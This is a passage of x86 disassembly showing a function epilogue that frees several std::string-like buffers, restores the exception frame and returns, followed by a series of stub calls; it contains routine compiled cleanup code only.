call fcn.004f7c11
add esp, 8
mov ecx, dword [ebp - 0xe8]
cmp ecx, 0x10
jb 0x41d6b1
mov edx, dword [ebp - 0xfc]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x41d6a7
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41d84f
push ecx
push edx
call fcn.004f7c11
add esp, 8
mov ecx, dword [ebp - 0x9c]
cmp ecx, 0x10
jb 0x41d6eb
mov edx, dword [ebp - 0xb0]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x41d6e1
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41d854
push ecx
push edx
call fcn.004f7c11
add esp, 8
mov ecx, dword [ebp - 0x1c8]
cmp ecx, 0x10
jb 0x41d725
mov edx, dword [ebp - 0x1dc]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x41d71b
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41d859
push ecx
push edx
call fcn.004f7c11
add esp, 8
mov eax, dword [ebp - 0x118]
mov dword [ebp - 0x1cc], 0
mov dword [ebp - 0x1c8], 0xf
mov byte [ebp - 0x1dc], 0
cmp eax, 0x10
jb 0x41d77c
mov edx, dword [ebp - 0x12c]
lea ecx, [eax + 1]
mov eax, edx
cmp ecx, 0x1000
jb 0x41d772
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41d859
push ecx
push edx
call fcn.004f7c11
add esp, 8
mov ecx, dword [ebp - 0x2c4]
cmp ecx, 0x10
jb 0x41d7b6
mov edx, dword [ebp - 0x2d8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x41d7ac
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41d859
push ecx
push edx
call fcn.004f7c11
add esp, 8
mov ecx, dword [ebp - 0x1e0]
cmp ecx, 0x10
jb 0x41d7ec
mov edx, dword [ebp - 0x1f4]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x41d7e2
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41d859
push ecx
push edx
call fcn.004f7c11
add esp, 8
mov ecx, dword [ebp - 0xc]
pop edi
mov dword fs:[0], ecx
pop esi
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
call fcn.00402390
call fcn.00402390
call fcn.00402390
call fcn.004fceb0
call fcn.00402390
call fcn.004fceb0
call fcn.004fceb0
call fcn.004fceb0
call fcn.004fceb0
call fcn.004fceb0
call fcn.004fceb0
call fcn.00402390
call fcn.004fceb0
call fcn.004fceb0
call fcn.004fceb0
call fcn.004fceb0
call fcn.004fceb0
call fcn.004fceb0
call fcn.004fceb0
int3